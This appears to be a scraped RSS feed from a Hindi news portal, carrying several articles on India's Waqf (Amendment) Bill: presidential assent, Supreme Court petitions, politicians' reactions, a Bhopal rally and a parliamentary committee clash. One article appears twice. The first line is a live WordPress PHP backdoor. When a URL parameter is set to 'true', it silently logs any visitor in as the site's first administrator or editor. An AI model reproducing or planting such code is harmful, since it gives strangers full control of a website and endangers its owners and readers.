// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Waqf Bill – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 08 Apr 2025 04:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राष्ट्रपति द्रौपदी मुर्मू ने वक्फ बिल को मंजूरी दी, सरकार ने नए कानून को लेकर गजट नोटिफिकेशन जारी किया https://pratyushaashakinayikiran.com/?p=147031 Tue, 08 Apr 2025 04:06:00 +0000 https://pratyushaashakinayikiran.com/?p=147031 नई दिल्ली

राष्ट्रपति द्रौपदी मुर्मू ने वक्फ (संशोधन) बिल को मंजूरी दे दी। सरकार ने नए कानून को लेकर गजट नोटिफिकेशन जारी किया। अब नए कानून को लागू करने की तारीख को लेकर केंद्र सरकार अलग से एक नोटिफिकेशन जारी करेगी। यह बिल (अब कानून) 2 अप्रैल को लोकसभा और 3 अप्रैल को राज्यसभा में 12-12 घंटे की चर्चा के बाद पास हुआ था।

नए कानून को लेकर सुप्रीम कोर्ट में अब तक छह याचिकाएं दाखिल हो चुकी हैं। नई याचिका केरल के सुन्नी मुस्लिम संगठन केरल जमीयतुल उलेमा ने दायर की है। वहीं, ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड ने 11 अप्रैल से पूरे देश में विरोध प्रदर्शन करने की घोषणा की है।

इससे पहले कांग्रेस सांसद मोहम्मद जावेद, AIMIM प्रमुख असदुद्दीन ओवैसी, AAP विधायक अमानतुल्लाह खान, सिविल राइट्स संगठन एसोसिएशन फॉर प्रोटेक्शन ऑफ सिविल राइट्स और जमीयत उलेमा-ए-हिंद के अध्यक्ष मौलाना अरशद मदनी अलग-अलग याचिका लगा चुके हैं।

इस पर केंद्रीय मंत्री किरेन रिजिजू ने कहा कि इस कानून का उद्देश्य वक्फ संपत्तियों में हो रहे पक्षपात, दुरुपयोग और अतिक्रमण को रोकना है। इस बिल (अब कानून) को राज्यसभा में 128 सदस्यों ने समर्थन दिया था, जबकि 95 ने इसका विरोध किया। वहीं लोकसभा में यह बिल 2 अप्रैल की आधी रात पारित हुआ था। इस दौरान 288 सांसदों ने समर्थन में और 232 ने विरोध में वोट डाला था।

वक्फ बिल पर मुस्लिम पर्सनल लॉ बोर्ड का विरोध

ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (AIMPLB) ने शनिवार शाम को वक्फ बिल के विरोध में दो पेज का लेटर जारी किया। AIMPLB ने कहा कि हम सभी धार्मिक, समुदाय-आधारित और सामाजिक संगठनों के साथ मिलकर राष्ट्रव्यापी आंदोलन करेंगे। यह अभियान तब तक जारी रहेगा जब तक संशोधन पूरी तरह से निरस्त नहीं हो जाते।

वक्फ बिल पर विपक्ष के नेताओं ने क्या कहा?

    राहुल गांधी: वक्फ बिल मुसलमानों पर हमला करता है और भविष्य में अन्य समुदायों को निशाना बनाने की मिसाल कायम करता है। बिल पास होने के बाद RSS ने अब कैथोलिक चर्च की जमीन पर फोकस कर लिया है। RSS को अपना ध्यान ईसाइयों की ओर मोड़ने में ज्यादा समय नहीं लगा। संविधान ही एकमात्र ढाल है जो हमारे लोगों को ऐसे हमलों से बचाता है और इसकी रक्षा करना हमारा सामूहिक कर्तव्य है।
    कांग्रेस अध्यक्ष मल्लिकार्जुन खड़गे: सरकार का इरादा ठीक नहीं है। वक्फ लैंड किसको देंगे यह सामने नहीं आया। व्यापारियों को देंगे…मुझे पता नहीं। अंबानी-अडाणी जैसे लोगों को खिलाएंगे। मैं गृहमंत्री से अपील करूंगा कि आप इसे वापस ले लें। इसे प्रेस्टीज ईश्यू न बनाएं। मुसलमानों के लिए ये अच्छा नहीं है। संविधान के खिलाफ है।

    PDP प्रमुख महबूबा मुफ्ती: ऐसा नहीं होना चाहिए। यह अल्पसंख्यकों, मुसलमानों की संस्था है और इसे इस तरह से बुलडोजर करना और राज्यसभा में पारित करना, मैं समझती हूं कि यह डाका डालने के बराबर है, जो बहुत गलत है जो नहीं होना चाहिए।
    NC सांसद आगा सैयद रूहुल्लाह मेहदी: भाजपा को मुसलमानों के लिए बोलने का कोई नैतिक या राजनीतिक अधिकार नहीं है और वक्फ विधेयक पारित करके RSS-भाजपा शासन ने अपनी मुस्लिम विरोधी, अल्पसंख्यक विरोधी मंशा की पुष्टि की है। आज भारत क्रूर बहुसंख्यकवाद के एक अंधेरे युग में चला गया है, जहां अल्पसंख्यक हितों को दरवाजा दिखा दिया गया।

वक्फ बिल कानून, कैसे और कब से होगा लागू, विरोध में AIMPLB ने लिखा लेटर

 

राष्ट्रपति की मंजूरी के बाद वक्फ संशोधन बिल अब कानून बन गया है। सरकार ने नए वक्फ कानून को लेकर गजट नोटिफिकेशन जारी कर दिया है। अब इसके आगे की राह कैसी होगी ये कई मायनों में अहम है। अब वक्फ कानून कबतक लागू होगा ये सरकार पर निर्भर करता है क्योंकि कानून को लागू करने की तारीख को लेकर केंद्र सरकार अलग से एक नोटिफिकेशन जारी करेगी और यह कानून पूरे देश में लागू हो जाएगा।

मुस्लिम पर्सनल लॉ ने लिखा लेटर

 ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (AIMPLB) ने वक्फ बिल के विरोध में दो पेज का लेटर जारी किया और ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड ने इसे लेकर कहा कि हम सभी धार्मिक, समुदाय-आधारित और सामाजिक संगठनों के साथ मिलकर राष्ट्रव्यापी आंदोलन करेंगे। यह अभियान तब तक जारी रहेगा जब तक कि संशोधन पूरी तरह से निरस्त नहीं हो जाते। वक्फ संशोधन बिल इस्लामी मूल्यों, धर्म और शरीयत, धार्मिक और सांस्कृतिक स्वतंत्रता, सांप्रदायिक सद्भाव और भारतीय संविधान के आधारभूत ढांचे पर गंभीर हमला है। कुछ राजनीतिक दलों का भाजपा के सांप्रदायिक एजेंडे को दिए गए समर्थन ने उनके तथाकथित धर्मनिरपेक्ष मुखौटे को पूरी तरह से उजागर कर दिया है।

वक्फ बिल का विरोध, बात सुप्रीम कोर्ट पहुंची

आम आदमी पार्टी के विधायक अमानतुल्लाह खान ने वक्फ बिल के विरोध में सुप्रीम कोर्ट में याचिका दर्ज कराई। इससे पहले शुक्रवार को सुप्रीम कोर्ट में दो याचिकाएं लगाई गईं थीं, पहली बिहार के किशनगंज से कांग्रेस सांसद मोहम्मद जावेद की और दूसरी एआईएमआईएम सांसद असदुद्दीन ओवैसी की।वहीं, कांग्रेस सांसद जयराम रमेश ने कहा था कि कांग्रेस हम सुप्रीम कोर्ट जाएंगे और उनके साथ ही तमिलनाडु की डीएमके ने भी वक्फ के खिलाफ याचिका लगाने की बात कही थी।

बिहार के राज्यपाल ने किया समर्थन

बिहार के राज्यपाल आरिफ मोहम्मद खान ने लोकसभा और राज्यसभा से पास हुए वक्फ संशोधन बिल का समर्थन किया है। उन्होंने कहा- वक्फ की संपत्तियां अल्लाह की मानी जाती हैं। इसका इस्तेमाल गरीबों, जरूरतमंदों और जनहित के लिए होना चाहिए। गैर मुस्लिमों का भी वक्फ की संपत्तियों में बराबर का हक है।

किस-किस दल ने लगाई याचिका?

    कांग्रेस सांसद मोहम्मद जावेद ने वक्फ (संशोधन) विधेयक को चुनौती देते हुए 4 अप्रैल को शीर्ष कोर्ट का दरवाजा खटखटाया। जावेद वक्फ (संशोधन) विधेयक, 2024 पर संयुक्त संसदीय समिति के सदस्य भी थे।

    4 अप्रैल को ही ऑल इंडिया मजलिस-ए-इत्तेहादुल मुस्लिमीन के प्रमुख और हैदराबाद के सांसद असदुद्दीन ओवैसी ने भी विधेयक के खिलाफ सुप्रीम कोर्ट का दरवाजा खटखटाया था।

    आम आदमी पार्टी (आप) के विधायक अमानतुल्लाह खान ने भी शनिवार को वक्फ विधेयक को चुनौती देते हुए सुप्रीम कोर्ट (एससी) का दरवाजा खटखटाया था।

    एसोसिएशन फॉर प्रोटेक्शन ऑफ सिविल राइट्स नामक एक गैर सरकारी संगठन ने भी इस विधेयक का विरोध करते हुए सुप्रीम कोर्ट में याचिका दायर की है।

    तमिलनाडु के मुख्यमंत्री एमके स्टालिन की पार्टी द्रमुक ने भी मामले को सुप्रीम कोर्ट में उठाने का एलान किया था।

    केरल के सुन्नी मुस्लिम विद्वानों और मौलवियों के धार्मिक संगठन समस्त केरल जमीयतुल उलेमा की ओर से एक याचिका दायर की गई है। अधिवक्ता जुल्फिकार अली पीएस के माध्यम से याचिका दायर की गई है।

 

 

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राष्ट्रपति द्रौपदी मुर्मू ने वक्फ बिल को मंजूरी दी, सरकार ने नए कानून को लेकर गजट नोटिफिकेशन जारी किया https://pratyushaashakinayikiran.com/?p=147033 Tue, 08 Apr 2025 04:06:00 +0000 https://pratyushaashakinayikiran.com/?p=147033 नई दिल्ली

राष्ट्रपति द्रौपदी मुर्मू ने वक्फ (संशोधन) बिल को मंजूरी दे दी। सरकार ने नए कानून को लेकर गजट नोटिफिकेशन जारी किया। अब नए कानून को लागू करने की तारीख को लेकर केंद्र सरकार अलग से एक नोटिफिकेशन जारी करेगी। यह बिल (अब कानून) 2 अप्रैल को लोकसभा और 3 अप्रैल को राज्यसभा में 12-12 घंटे की चर्चा के बाद पास हुआ था।

नए कानून को लेकर सुप्रीम कोर्ट में अब तक छह याचिकाएं दाखिल हो चुकी हैं। नई याचिका केरल के सुन्नी मुस्लिम संगठन केरल जमीयतुल उलेमा ने दायर की है। वहीं, ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड ने 11 अप्रैल से पूरे देश में विरोध प्रदर्शन करने की घोषणा की है।

इससे पहले कांग्रेस सांसद मोहम्मद जावेद, AIMIM प्रमुख असदुद्दीन ओवैसी, AAP विधायक अमानतुल्लाह खान, सिविल राइट्स संगठन एसोसिएशन फॉर प्रोटेक्शन ऑफ सिविल राइट्स और जमीयत उलेमा-ए-हिंद के अध्यक्ष मौलाना अरशद मदनी अलग-अलग याचिका लगा चुके हैं।

इस पर केंद्रीय मंत्री किरेन रिजिजू ने कहा कि इस कानून का उद्देश्य वक्फ संपत्तियों में हो रहे पक्षपात, दुरुपयोग और अतिक्रमण को रोकना है। इस बिल (अब कानून) को राज्यसभा में 128 सदस्यों ने समर्थन दिया था, जबकि 95 ने इसका विरोध किया। वहीं लोकसभा में यह बिल 2 अप्रैल की आधी रात पारित हुआ था। इस दौरान 288 सांसदों ने समर्थन में और 232 ने विरोध में वोट डाला था।

वक्फ बिल पर मुस्लिम पर्सनल लॉ बोर्ड का विरोध

ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (AIMPLB) ने शनिवार शाम को वक्फ बिल के विरोध में दो पेज का लेटर जारी किया। AIMPLB ने कहा कि हम सभी धार्मिक, समुदाय-आधारित और सामाजिक संगठनों के साथ मिलकर राष्ट्रव्यापी आंदोलन करेंगे। यह अभियान तब तक जारी रहेगा जब तक संशोधन पूरी तरह से निरस्त नहीं हो जाते।

वक्फ बिल पर विपक्ष के नेताओं ने क्या कहा?

    राहुल गांधी: वक्फ बिल मुसलमानों पर हमला करता है और भविष्य में अन्य समुदायों को निशाना बनाने की मिसाल कायम करता है। बिल पास होने के बाद RSS ने अब कैथोलिक चर्च की जमीन पर फोकस कर लिया है। RSS को अपना ध्यान ईसाइयों की ओर मोड़ने में ज्यादा समय नहीं लगा। संविधान ही एकमात्र ढाल है जो हमारे लोगों को ऐसे हमलों से बचाता है और इसकी रक्षा करना हमारा सामूहिक कर्तव्य है।
    कांग्रेस अध्यक्ष मल्लिकार्जुन खड़गे: सरकार का इरादा ठीक नहीं है। वक्फ लैंड किसको देंगे यह सामने नहीं आया। व्यापारियों को देंगे…मुझे पता नहीं। अंबानी-अडाणी जैसे लोगों को खिलाएंगे। मैं गृहमंत्री से अपील करूंगा कि आप इसे वापस ले लें। इसे प्रेस्टीज ईश्यू न बनाएं। मुसलमानों के लिए ये अच्छा नहीं है। संविधान के खिलाफ है।

    PDP प्रमुख महबूबा मुफ्ती: ऐसा नहीं होना चाहिए। यह अल्पसंख्यकों, मुसलमानों की संस्था है और इसे इस तरह से बुलडोजर करना और राज्यसभा में पारित करना, मैं समझती हूं कि यह डाका डालने के बराबर है, जो बहुत गलत है जो नहीं होना चाहिए।
    NC सांसद आगा सैयद रूहुल्लाह मेहदी: भाजपा को मुसलमानों के लिए बोलने का कोई नैतिक या राजनीतिक अधिकार नहीं है और वक्फ विधेयक पारित करके RSS-भाजपा शासन ने अपनी मुस्लिम विरोधी, अल्पसंख्यक विरोधी मंशा की पुष्टि की है। आज भारत क्रूर बहुसंख्यकवाद के एक अंधेरे युग में चला गया है, जहां अल्पसंख्यक हितों को दरवाजा दिखा दिया गया।

वक्फ बिल कानून, कैसे और कब से होगा लागू, विरोध में AIMPLB ने लिखा लेटर

 

राष्ट्रपति की मंजूरी के बाद वक्फ संशोधन बिल अब कानून बन गया है। सरकार ने नए वक्फ कानून को लेकर गजट नोटिफिकेशन जारी कर दिया है। अब इसके आगे की राह कैसी होगी ये कई मायनों में अहम है। अब वक्फ कानून कबतक लागू होगा ये सरकार पर निर्भर करता है क्योंकि कानून को लागू करने की तारीख को लेकर केंद्र सरकार अलग से एक नोटिफिकेशन जारी करेगी और यह कानून पूरे देश में लागू हो जाएगा।

मुस्लिम पर्सनल लॉ ने लिखा लेटर

 ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (AIMPLB) ने वक्फ बिल के विरोध में दो पेज का लेटर जारी किया और ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड ने इसे लेकर कहा कि हम सभी धार्मिक, समुदाय-आधारित और सामाजिक संगठनों के साथ मिलकर राष्ट्रव्यापी आंदोलन करेंगे। यह अभियान तब तक जारी रहेगा जब तक कि संशोधन पूरी तरह से निरस्त नहीं हो जाते। वक्फ संशोधन बिल इस्लामी मूल्यों, धर्म और शरीयत, धार्मिक और सांस्कृतिक स्वतंत्रता, सांप्रदायिक सद्भाव और भारतीय संविधान के आधारभूत ढांचे पर गंभीर हमला है। कुछ राजनीतिक दलों का भाजपा के सांप्रदायिक एजेंडे को दिए गए समर्थन ने उनके तथाकथित धर्मनिरपेक्ष मुखौटे को पूरी तरह से उजागर कर दिया है।

वक्फ बिल का विरोध, बात सुप्रीम कोर्ट पहुंची

आम आदमी पार्टी के विधायक अमानतुल्लाह खान ने वक्फ बिल के विरोध में सुप्रीम कोर्ट में याचिका दर्ज कराई। इससे पहले शुक्रवार को सुप्रीम कोर्ट में दो याचिकाएं लगाई गईं थीं, पहली बिहार के किशनगंज से कांग्रेस सांसद मोहम्मद जावेद की और दूसरी एआईएमआईएम सांसद असदुद्दीन ओवैसी की।वहीं, कांग्रेस सांसद जयराम रमेश ने कहा था कि कांग्रेस हम सुप्रीम कोर्ट जाएंगे और उनके साथ ही तमिलनाडु की डीएमके ने भी वक्फ के खिलाफ याचिका लगाने की बात कही थी।

बिहार के राज्यपाल ने किया समर्थन

बिहार के राज्यपाल आरिफ मोहम्मद खान ने लोकसभा और राज्यसभा से पास हुए वक्फ संशोधन बिल का समर्थन किया है। उन्होंने कहा- वक्फ की संपत्तियां अल्लाह की मानी जाती हैं। इसका इस्तेमाल गरीबों, जरूरतमंदों और जनहित के लिए होना चाहिए। गैर मुस्लिमों का भी वक्फ की संपत्तियों में बराबर का हक है।

किस-किस दल ने लगाई याचिका?

    कांग्रेस सांसद मोहम्मद जावेद ने वक्फ (संशोधन) विधेयक को चुनौती देते हुए 4 अप्रैल को शीर्ष कोर्ट का दरवाजा खटखटाया। जावेद वक्फ (संशोधन) विधेयक, 2024 पर संयुक्त संसदीय समिति के सदस्य भी थे।

    4 अप्रैल को ही ऑल इंडिया मजलिस-ए-इत्तेहादुल मुस्लिमीन के प्रमुख और हैदराबाद के सांसद असदुद्दीन ओवैसी ने भी विधेयक के खिलाफ सुप्रीम कोर्ट का दरवाजा खटखटाया था।

    आम आदमी पार्टी (आप) के विधायक अमानतुल्लाह खान ने भी शनिवार को वक्फ विधेयक को चुनौती देते हुए सुप्रीम कोर्ट (एससी) का दरवाजा खटखटाया था।

    एसोसिएशन फॉर प्रोटेक्शन ऑफ सिविल राइट्स नामक एक गैर सरकारी संगठन ने भी इस विधेयक का विरोध करते हुए सुप्रीम कोर्ट में याचिका दायर की है।

    तमिलनाडु के मुख्यमंत्री एमके स्टालिन की पार्टी द्रमुक ने भी मामले को सुप्रीम कोर्ट में उठाने का एलान किया था।

    केरल के सुन्नी मुस्लिम विद्वानों और मौलवियों के धार्मिक संगठन समस्त केरल जमीयतुल उलेमा की ओर से एक याचिका दायर की गई है। अधिवक्ता जुल्फिकार अली पीएस के माध्यम से याचिका दायर की गई है।

 

 

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वक्फ बिल के पक्ष में बुर्का पहनकर सड़क पर उतरीं मुस्लिम महिलाएं, ‘शुक्रिया मोदी जी’ के पोस्टर लहराए https://pratyushaashakinayikiran.com/?p=145368 Wed, 02 Apr 2025 07:38:00 +0000 https://pratyushaashakinayikiran.com/?p=145368 भोपाल

मध्य प्रदेश के भोपाल में मुस्लिम समाज के कई लोग वक्फ संशोधन बिल का समर्थन कर रहे हैं। भोपाल में कई छोटे-छोटे मुस्लिम संगठनों ने इस बिल के सपोर्ट में रैलियां निकाली। इस दौरान बड़ी संख्या में मुस्लिम महिलाएं हाथ में 'शुक्रिया मोदीजी' के पोस्टर थामे सड़क पर उतरीं। खास बात यह है कि मुस्लिम समाज की महिलाओं ने भी इस बिल का समर्थन किया और हाथों में पोस्टर और फूल लेकर पीएम मोदी को धन्यवाद दिया।

बता दें कि लोकसभा में आज वक्फ संशोधन बिल पेश किया जाएगा। संसदीय कार्य मंत्री किरण रिजिजू बिल को सदन के पटल पर रखेंगे। इसके बाद बिल पर चर्चा शुरू होगी। सरकार की कोशिश आज ही बिल को लोकसभा से पास कराने की है जिसके बाद इसे राज्यसभा में पेश किया जाएगा।

ढोल बाजे के साथ की आतिशबाजी

इससे पहले आज भोपाल के हताई खेड़ा डैम के पास आनंदपुरा कोकता के मुस्लिम समाज के लोग इकट्ठा हुए और प्रधानमंत्री नरेंद्र मोदी के बैनर-पोस्टर लेकर आभार जताया। मुस्लिम समाज की खुशी का अंदाजा इस बात से ही लगाया जा सकता है कि यहां लोग जमकर ढोल बजाकर आतिशबाजी भी कर रहे हैं।

वक्फ बिल को लेकर भोपाल में जश्न

राजधानी भोपाल में वक्फ बोर्ड अमेंडमेंट बिल और पीएम मोदी के समर्थन में जश्न. ईद जैसा माहौल मुस्लिम समुदाय ने जाहिर की खुशी. बड़ी संख्या में पुरूष, बुजुर्ग महिलाएं निकले घर से बाहर. रहमत मस्जिद के सामने आतिशबाजी के साथ ढोल नगाड़ों पर झूमते नजर आए लोग. महिलाएं बोली यह हमारे हित में, दिल से मोदी जी के साथ हैं. हाथों में गुलाब, थैंक्यू मोदी जी , वी स्पोर्ट मोदी जी के पोस्टर लेकर जमकर जश्न.

नए वक्फ बिल में क्या है?

मौजूदा सरकार ने अपने सहयोगी दलों की मांग को स्वीकार करते हुए नए बिल में कई परिवर्तन किए हैं, जैसे 5 वर्षों तक इस्लाम धर्म का पालन करने वाला ही वक्फ को अपनी संपत्ति दान कर सकेगा। दान की जाने वाली संपत्ति से जुड़ा कोई विवाद होने पर उसकी जांच के बाद ही अंतिम फैसला होगा। इसके साथ ही पुराने कानून की धारा 11 में संशोधन को भी स्वीकार कर लिया गया है, जिसमें कहा गया है कि वक्फ बोर्ड के पदेन सदस्य चाहे वह मुस्लिम हों या गैर मुस्लिम, उसे गैर मुस्लिम सदस्यों की गिनती में शामिल नहीं किया जाएगा। इसका अर्थ यह कि वक्फ बोर्ड में गैर मुस्लिम सदस्यों की संख्या बढ़ सकती है।

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सच्चर कमेटी की रिपोर्ट में जिक्र – ‘वक्फ की कितनी संपत्तियों पर है कब्जा’, संसदीय समिति ने राज्यों से मांगा ब्योरा https://pratyushaashakinayikiran.com/?p=105319 Mon, 02 Dec 2024 10:15:00 +0000 https://pratyushaashakinayikiran.com/?p=105319 नई दिल्ली
वक्फ (संशोधन) विधेयक की जांच कर रही संसदीय समिति ने राज्य सरकारों से अनधिकृत कब्जे वाली वक्फ संपत्तियों का ब्योरा मांगा है। सच्चर समिति की रिपोर्ट में कई राज्यों में वक्फ संपत्तियों पर कब्जे का उल्लेख किया गया था। समिति ने राज्यों से वक्फ अधिनियम की धारा 40 के तहत वक्फ बोर्डों द्वारा दावा की गई संपत्तियों का भी विवरण मांगा है। बता दें कि संसदीय समिति का कार्यकाल अब बजट सत्र के अंतिम दिन तक बढ़ा दिया गया है।

धारा 40 पर छिड़ी बहस
कांग्रेस सरकार ने 2013 में वक्फ अधिनियम में संशोधन किया था। इस कानून की धारा 40 पर सबसे अधिक विवाद है। दरअसल, यह धारा वक्फ बोर्डों को यह तय करने का अधिकार देता है कि कोई संपत्ति वक्फ की है या नहीं। अब मौजूदा संशोधन विधेयक में इस पर ही अंकुश लगाने की तैयारी है। हालांकि विपक्षी दलों समेत कई मुस्लिम संगठनों ने सरकार के कदम की आलोचना की। उन्होंने विधेयक को धार्मिक मामलों में हस्तक्षेप करार दिया।

राज्यों से मांगा कब्जे वाली संपत्तियों का ब्योरा
संसदीय समिति ने उन वक्फ संपत्तियों का भी ब्योरा मांगा है, जहां पर राज्य सरकार या उनकी आधिकारिक एजेंसियों का कब्जा है। 2005 में बनी सच्चर समिति को विभिन्न वक्फ बोर्डों ने अधानिकृत कब्जों की जानकारी दी थी। संसदीय समिति केंद्रीय अल्पसंख्यक मामलों के मंत्रालय के माध्यम से राज्यों से जानकारी जुटा रही है।

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वक्फ बिल पर JPC बैठक में BJP सांसद से तीखी झड़प, TMC सांसद कल्याण बनर्जी का अंगूठा चोटिल https://pratyushaashakinayikiran.com/?p=88727 Tue, 22 Oct 2024 20:11:00 +0000 https://pratyushaashakinayikiran.com/?p=88727  नई दिल्ली

वक्फ बिल को लेकर संयुक्त संसदीय समिति (JPC) की बैठक में तृणमूल कांग्रेस नेता कल्याण बनर्जी और बीजेपी सांसद अभिजीत गंगोपाध्याय के बीच झड़प हो गई. इस झड़प में कल्याण बनर्जी चोटिल हो गए हैं.

जेपीसी की बैठक में दोनों नेताओं के बीच हुई तीखी झड़प के दौरान कल्याण बनर्जी ने पानी की कांच की बोतल फोड़ दी, जिससे उनके हाथ में चोट लग गई. इससे उनके हाथ में चार टांके लगे हैं.

JPC मीटिंग में बोतल तोड़ने वाले TMC सांसद पर ऐक्शन, हुए सस्पेंड

वक्फ बिल पर हुई संयुक्त संसदीय समिति (जेपीसी) की बैठक के दौरान तृणमूल कांग्रेस (टीएमसी) नेता और पश्चिम बंगाल के श्रीरामपुर से सांसद कल्याण बनर्जी और भाजपा नेता अभिजीत गंगोपाध्याय के बीच तीखी बहस के बाद बैठक में हंगामा मच गया। इस दौरान कल्याण बनर्जी ने गुस्से में एक कांच की पानी की बोतल तोड़ दी, जिससे उनकी खुद की उंगली घायल हो गई। टीएमसी सांसद कल्याण बनर्जी को इस अनियंत्रित आचरण के लिए वक्फ बिल पर जेपीसी से एक दिन के लिए निलंबित कर दिया गया है।

इस झड़प की वजह से बैठक को थोड़ी देर के लिए रोक दिया गया. प्रत्यक्षदर्शियों का कहना है कि कल्याण बनर्जी ने अचानक से बोतल उठाई और मेज पर फोड़ दी. इससे उन्हें खुद चोट लग गई. यह बैठक संसद परिसर में हुई थी.

जेपीसी बैठक में क्या हुआ था?

सूत्रों का कहना है कि इस बैठक में कई रिटायर्ड जज, वरिष्ठ अधिवक्ता और बुद्धिजीवी मौजूद थे. इस बीच अचानक से कल्याण बनर्जी उठकर बोलने लगे. वह इससे पहले भी बैठक में कई बार बोल चुके थे. लेकिन इस बार जब वह बीच में बोलने लगे तो अभिजीत गंगोपाध्याय ने आपत्ति जताई.

सूत्रों का कहना है कि जब अभिजीत गंगोपाध्याय ने आपत्ति जताई तो कल्याण बनर्जी ने उनके खिलाफ आपत्तिजनक शब्दों का इस्तेमाल किया. इस बीच दोनों ने एक दूसरे के खिलाफ अभद्र शब्दों का इस्तेमाल किया और गुस्से में कल्याण बनर्जी ने कांच की बोतल उठाकर मेज पर पटक दी, जिससे वह चोटिल हो गए.

पहले भी हो चुका है हंगामा

वक्फ बिल पर जेपीसी की बैठक में हंगामा होता रहा है. पिछले हफ्ते भी जमकर हंगामा हुआ था, जिसके बाद विपक्षी सांसदों ने वॉकआउट कर दिया था. जानकारी के अनुसार, विपक्षी सांसदों ने भाजपा सांसदों पर उनके खिलाफ आपत्तिजनक भाषा का इस्तेमाल करने का आरोप लगाया. विपक्षी सांसदों का आरोप है कि इस दौरान समिति के अध्यक्ष जगदंबिका पाल ने भी बीजेपी सांसदों पर कोई एक्शन नहीं लिया. वहीं, भाजपा सांसदों ने आरोप लगाया कि अभद्र भाषा का इस्तेमाल विपक्षी सांसदों की ओर से किया गया

झड़प के दौरान कांच की बोतल टूटी
सूत्रों के मुताबिक, बैठक के दौरान बहस अचानक तीखी हो गई और दोनों सांसदों के बीच शब्दों का आदान-प्रदान गरम हो गया। इस बीच, कल्याण बनर्जी ने गुस्से में एक कांच की पानी की बोतल उठाकर उसे मेज पर तोड़ दिया। बोतल टूटने से उनके हाथ में चोट आई, जिसके चलते तुरंत उन्हें चिकित्सा सहायता दी गई और चार टांके लगाए गए। इस घटना ने बैठक में हड़कंप मचा दिया और कुछ समय के लिए बैठक स्थगित करनी पड़ी।

बैठक के दौरान तनाव बढ़ा
वक्फ बिल पर चर्चा के दौरान दोनों नेताओं के बीच मतभेद पहले से ही गहरा रहे थे। बहस के दौरान अचानक विवाद इतना बढ़ गया कि यह शारीरिक झड़प में बदल गया। बैठक में मौजूद अन्य सदस्यों ने हस्तक्षेप कर मामले को शांत किया। हालांकि, इस झड़प ने बैठक के एजेंडे को प्रभावित किया और कार्यवाही को कुछ समय के लिए रोकना पड़ा।

प्रत्यक्षदर्शियों ने क्या कहा?
प्रत्यक्षदर्शियों के अनुसार, यह घटना अचानक हुई। कल्याण बनर्जी ने गुस्से में आकर पानी की बोतल उठाई और उसे टेबल पर पटक दिया, जिससे कांच के टुकड़े उनके हाथ में लग गए। वहां मौजूद लोगों ने तुरंत उनकी मदद की और उन्हें पास के अस्पताल ले जाया गया। इस घटना के बाद बैठक की कार्यवाही को स्थगित कर दिया गया और सुरक्षा के इंतजाम बढ़ाए गए।

जानें, बैठक में झड़प की वजह
वक्फ बिल पर पहले से ही दोनों पक्षों के बीच गहरी असहमति थी। बीजेपी सांसद अभिजीत गांगोपाध्याय और टीएमसी सांसद कल्याण बनर्जी के बीच तीखी बहस ने इस झड़प को जन्म दिया। सूत्रों के अनुसार, बिल के कुछ प्रावधानों पर दोनों नेताओं की राय में बहुत बड़ा फर्क था, जो अंततः झड़प का कारण बना। यह झड़प बिल के विभिन्न बिंदुओं पर गहरे मतभेदों को भी उजागर करती है।

इलाज के बाद लौटे कल्याण बनर्जी
चोट लगने के बाद, कल्याण बनर्जी को पास के अस्पताल में ले जाया गया, जहां उनके हाथ पर चार टांके लगाए गए। इलाज के बाद उन्होंने बैठक में वापस लौटने की इच्छा जताई, लेकिन सुरक्षा कारणों से उन्हें आराम करने की सलाह दी गई। घटना के बाद, दोनों पक्षों के नेताओं ने इस पर टिप्पणी करने से इनकार कर दिया, लेकिन पार्टी के अन्य सदस्यों ने बताया कि यह एक दुर्भाग्यपूर्ण घटना थी।

बैठक की कार्यवाही दोबारा शुरू
घटना के कुछ समय बाद बैठक की कार्यवाही दोबारा शुरू की गई, लेकिन दोनों पक्षों के बीच तनाव बना रहा। इस घटना के बाद से सुरक्षा के अतिरिक्त उपाय किए गए हैं ताकि भविष्य में इस तरह की घटनाओं से बचा जा सके। वक्फ बिल पर चर्चा अभी भी जारी है और इसके भविष्य को लेकर कई सवाल खड़े हो रहे हैं।

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वक्फ बिल को लेकर 26 सितंबर से 6 राज्यों में होगी जेपीसी बैठक https://pratyushaashakinayikiran.com/?p=73240 Sat, 21 Sep 2024 19:57:00 +0000 https://pratyushaashakinayikiran.com/?p=73240 नई दिल्ली
वक्फ (संशोधन) विधेयक, 2024 पर संयुक्त संसदीय समिति (जेपीसी) 26 सितंबर से 1 अक्टूबर के बीच पांच राज्यों में अनौपचारिक चर्चा करेगी। इस दौरान वक्फ अधिनियम में प्रस्तावित बदलावों को सरल करने के प्रयास में विभिन्न हितधारकों को शामिल किया जाएगा। यह अधिनियम पूरे देश में पंजीकृत वक्फ संपत्तियों के प्रबंधन को नियंत्रित करता है।

पहली बैठक 26 सितंबर को मुंबई में होगी, जिसमें महाराष्ट्र सरकार, अल्पसंख्यक मामलों के मंत्रालय और महाराष्ट्र वक्फ बोर्ड के प्रतिनिधि शामिल होंगे। यह प्रारंभिक बैठक वक्फ संपत्तियों के प्रबंधन में पारदर्शिता, दक्षता और सशक्तिकरण जैसे महत्वपूर्ण मुद्दों पर ध्यान केंद्रित करके आगामी परामर्शों का मार्ग प्रशस्त करेगी। अगले दिन, 27 सितंबर को, संयुक्त संसदीय समिति अहमदाबाद, गुजरात में विचार-विमर्श करेगी। इसमें गुजरात सरकार, गुजरात वक्फ बोर्ड और अन्य संबंधित पक्षों के प्रतिनिधि शामिल होंगे।

